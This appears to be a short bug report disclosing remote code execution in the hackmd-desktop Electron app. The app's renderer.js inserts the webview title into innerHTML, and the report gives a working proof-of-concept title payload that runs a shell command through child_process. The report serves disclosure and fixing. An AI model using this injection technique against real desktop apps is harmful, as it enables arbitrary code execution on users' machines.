Hi, I find a RCE in hackmd-desktop when viewing a evil note.

In renderer.js

webview.addEventListener('dom-ready', function () {
    // set webview title
    document.querySelector('#navbar-container .title').innerHTML = webview.getTitle()
    document.querySelector('title').innerHTML = webview.getTitle()

It will render the title of the webview in a privileged context.

If we use tag or a XSS(hackmdio/codimd#1233) to redirect to a evil page with a payload in title like this.

  <title><img src=1 onerror="process.mainModule.require('child_process').exec('open /Applications/')"></title>

It will execute the command in the payload and a calculator will pop up.
